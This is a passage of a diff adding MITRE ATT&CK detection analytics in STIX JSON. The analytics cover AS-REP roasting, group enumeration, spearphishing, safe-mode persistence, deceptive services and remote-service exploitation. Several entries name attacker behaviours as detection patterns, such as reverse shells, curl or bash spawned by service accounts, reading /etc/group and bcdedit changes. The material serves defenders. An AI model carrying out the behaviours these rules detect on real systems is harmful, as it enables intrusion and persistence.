"x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "esxi:vmkernel", + "channel": "boot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:hostd", + "channel": "boot" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptName", + "description": "Script path or name may vary across hypervisor versions." + }, + { + "field": "LogSeverity", + "description": "Log verbosity settings may alter visibility of activity." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--416b5616-a16d-4ccc-b214-5873f96e5b1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0112#AN0315", + "external_id": "AN0315" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0315", + "description": "Detection of changes to device startup-config files that include boot scripts or scheduled execution routines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:syslog", + "channel": "config" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Interface", + "description": "Affected interface or subsystem; varies per device." + }, + { + "field": "CommandPattern", + "description": "Patterns of authorized config changes differ by vendor or policy." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7687688c-f91c-4487-948e-1d5b372fcdac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0113#AN0316", + "external_id": "AN0316" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0316", + "description": "Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (Event ID 4768 with Pre-Auth Type 0). Correlates these requests with subsequent service ticket activity (Event ID 4769) and anomalies such as requests using weak RC4 encryption (etype 0x17). Excessive enumeration of accounts with 'Do not require Kerberos preauthentication' set in Active Directory is another key detection point.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Security", + "channel": "EventCode=4768" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PreAuthDisabledAccountsBaseline", + "description": "Baseline of accounts legitimately configured without Kerberos preauthentication; deviations may indicate adversary enumeration." + }, + { + "field": "TGTRequestThreshold", + "description": "Number of AS-REQ/AS-REP exchanges per account within a short timeframe; higher counts may indicate AS-REP roasting." + }, + { + "field": "AllowedEncryptionTypes", + "description": "Permitted Kerberos encryption algorithms; RC4 usage (etype 0x17) should be closely monitored." + }, + { + "field": "TimeWindow", + "description": "Correlation window for linking AS-REQs, AS-REPs, and subsequent service ticket requests." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--78f4f0fe-55ef-4598-85ac-865cba1920d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0114#AN0317", + "external_id": "AN0317" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0317", + "description": "Detects attempts to enumerate local groups via Net.exe, PowerShell, or native API calls that precede lateral movement or privilege abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time window between group enumeration and lateral movement or privilege escalation activity." + }, + { + "field": "UserContext", + "description": "Whether the process was executed by a privileged or low-privilege account." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a62a2b36-00e9-481c-9a3a-14c14cd42dae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0114#AN0318", + "external_id": "AN0318" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0318", + "description": "Detects enumeration of local groups using common binaries (groups, getent, cat /etc/group) or scripting with suspicious lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Detection tuning for binaries like `groups`, `getent`, `awk`, or `cut` that may be used in pipelines." + }, + { + "field": "ParentProcess", + "description": "Used to determine whether enumeration was triggered by a script or terminal." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--66923fbc-1d4d-4945-89dd-102a8e2c6122", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0114#AN0319", + "external_id": "AN0319" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0319", + "description": "Detects use of dscl or id/group commands to enumerate local system groups, often by post-exploitation tools or persistence checks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process:exec" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineContains", + "description": "Match on specific dscl paths like '/Groups' or known enumeration options." + }, + { + "field": "InteractiveSession", + "description": "Used to scope out enumeration from user terminals versus background utilities." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c83f1d8c-ba54-4f2d-91b8-3006a2180497", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0115#AN0320", + "external_id": "AN0320" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0320", + "description": "Inbound spearphishing attempts delivered via third-party services (e.g., Gmail, LinkedIn messages) leading to malicious file downloads or browser-initiated script execution. Defender view includes correlation of external service logins, unexpected file write operations, and suspicious descendant processes spawned from productivity or browser applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServices", + "description": "List of third-party services (e.g., Gmail, LinkedIn, Dropbox) relevant to the organization\u2019s threat profile." + }, + { + "field": "SuspiciousProcessPatterns", + "description": "Process lineage and parent-child execution relationships considered abnormal (e.g., outlook.exe \u2192 powershell.exe)." + }, + { + "field": "TimeWindow", + "description": "Correlates file creation and outbound connection activity within a tunable time period after message receipt." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eed7a6f2-496d-47c6-bdfd-1b885b58a651", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0115#AN0321", + "external_id": "AN0321" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0321", + "description": "Use of non-enterprise email or messaging services in Thunderbird, Evolution, or browsers leading to suspicious file downloads and subsequent execution. Defender view includes browser-initiated downloads of unexpected content and shell or interpreter processes launched post-download.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of bash, python, or perl processes spawned by browser/email client" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Inbound messages from webmail services containing attachments or URLs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserProcesses", + "description": "Configured list of browsers or email clients to monitor (e.g., firefox, chromium, thunderbird)." + }, + { + "field": "PhishingIndicators", + "description": "Custom regex rules for suspicious URL patterns, file extensions, or encoded links." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--262ce2a7-2c09-4f6d-8e9f-de57b814a2a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0115#AN0322", + "external_id": "AN0322" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0322", + "description": "Phishing attempts via iCloud Mail, Gmail, or social media apps accessed on macOS systems. Defender view includes Mail.app or Safari downloads of files followed by osascript, Terminal, or abnormal child process execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Received messages containing embedded links or attachments from non-enterprise services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of osascript, bash, or Terminal initiated from Mail.app or Safari" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CertificateChecks", + "description": "Flagging mismatched or self-signed certificates during outbound connections initiated after spearphishing messages." + }, + { + "field": "ExecutionDelay", + "description": "Window of time between attachment download and subsequent suspicious execution." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d7a82fc6-047b-47a8-8b3c-d6dcab00d56b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0116#AN0323", + "external_id": "AN0323" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0323", + "description": "Abuse of safe mode via BCD modification, boot configuration utilities (bcdedit.exe, bootcfg.exe), and registry persistence under SafeBoot keys. Defender view: suspicious boot configuration changes correlated with registry edits that enable adversary persistence or disable defenses.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SafeBootRegistryPaths", + "description": "Customize monitored registry paths for safe mode service additions." + }, + { + "field": "AllowedAdminTools", + "description": "Whitelist legitimate administrative use of bcdedit/bootcfg for troubleshooting." + }, + { + "field": "TimeWindow", + "description": "Correlate registry modifications and boot configuration commands within a short timeframe." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--51a23f35-4a11-4119-935a-1ffebcda2839", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0117#AN0324", + "external_id": "AN0324" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0324", + "description": "Creation or modification of Windows services or scheduled tasks with names or descriptions mimicking legitimate entries, followed by anomalous execution of untrusted binaries or LOLBAS.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TaskNameSimilarityThreshold", + "description": "Similarity threshold for comparing new task/service names to known legitimate names (e.g., Levenshtein distance)" + }, + { + "field": "BinaryReputationScore", + "description": "Confidence level required for allowing a binary, often from unsigned or untrusted source" + }, + { + "field": "ExecutionContext", + "description": "Whether the execution came from SYSTEM, service accounts, or user contexts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a9c1860-23ae-455e-bcab-0e0f91af5548", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0117#AN0325", + "external_id": "AN0325" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0325", + "description": "Creation or modification of `systemd` service units or cron jobs using deceptive naming and untrusted command paths, often followed by lateral network activity or privilege escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", + "name": "auditd:CONFIG_CHANGE", + "channel": "/var/log/audit/audit.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "linux:osquery", + "channel": "scheduled/real-time" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "linux:cron", + "channel": "/var/log/syslog or journalctl" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnitFilePath", + "description": "Unusual or user-space paths for systemd unit files" + }, + { + "field": "ServiceNameDeviation", + "description": "Detect units with names similar to legitimate ones (e.g., `networks.service` instead of `network.service`)" + }, + { + "field": "ExecStartPath", + "description": "Track uncommon or suspicious binaries in `ExecStart=` directives" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7e3c05c9-5e49-416c-a0c9-eb7631ea5e7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0117#AN0326", + "external_id": "AN0326" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0326", + "description": "Creation of LaunchAgents or LaunchDaemons with names resembling known system services but executing non-Apple signed code or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "name": "fs:fileevents", + "channel": "/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.launchservices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistLabelSimilarity", + "description": "Detect plists with labels that closely resemble legitimate ones (e.g., `com.apple.updates.plist`)" + }, + { + "field": "UnsignedBinaryExecution", + "description": "Toggle sensitivity for unsigned binaries or scripts launched by daemons" + }, + { + "field": "UserContext", + "description": "Scope detection based on whether LaunchAgent ran in user or system context" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f8c99f4f-f61e-436c-a093-c97969c9b038", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0327", + "external_id": "AN0327" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0327", + "description": "Correlates inbound network access to remote service ports (e.g., SMB/RPC 445/135, RDP 3389, WinRM 5985/5986) with near-time instability in the target service (crash, abnormal restart), suspicious child process creation under the service, and post-access lateral-movement behaviors. The chain indicates likely exploitation rather than normal administration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:System", + "channel": "EventCode=7031,7034,1000,1001" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServicePortSet", + "description": "List of monitored service ports (default: 445,135,3389,5985,5986,1433,3306)." + }, + { + "field": "TimeWindow", + "description": "Correlation window between inbound access and crash/child-process (default: 10 minutes)." + }, + { + "field": "AllowedAdminCIDRs", + "description": "Known management networks to suppress benign admin traffic." + }, + { + "field": "MinConnErrorRate", + "description": "Percent of failed/aborted connections to treat as anomalous (default: 30%)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--70e3066e-6ba3-444b-8e88-dfc3575f2706", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0328", + "external_id": "AN0328" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0328", + "description": "Links inbound network access to SSHD/SMB/NFS/Databases or custom daemons with subsequent daemon crash/restart, core dump, or spawning of shells/reverse shells from the service context, indicating remote exploitation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity." + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host." + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceNames", + "description": "Linux daemons to watch (sshd, smbd, nfsd, httpd/nginx, mysqld, postgres, redis)." + }, + { + "field": "CoreDumpPaths", + "description": "Paths indicating crash artifacts (/var/crash, /var/lib/systemd/coredump)." + }, + { + "field": "ShellSpawnAllowlist", + "description": "Paths/users allowed to spawn shells from services (default: empty)." + }, + { + "field": "TimeWindow", + "description": "Correlation window (default 10m)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--17b82342-cc75-4dcd-ad98-f313cd2a2b69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0329", + "external_id": "AN0329" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0329", + "description": "Detects exploitation targeting ESXi/vCenter by correlating attempts to reach known exploitable endpoints (OpenSLP 427, CIM 5989, Hostd/Vpxa HTTPS 443, ESXi SOAP) with vmkernel/hostd crashes, unexpected hostd/vpxa restarts, or new reverse/outbound connections from ESXi host/vCenter to internal assets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "Keywords: 'Backtrace','Signal 11','PANIC','hostd restarted','assert' or 'Service terminated unexpectedly' in /var/log/hostd.log, 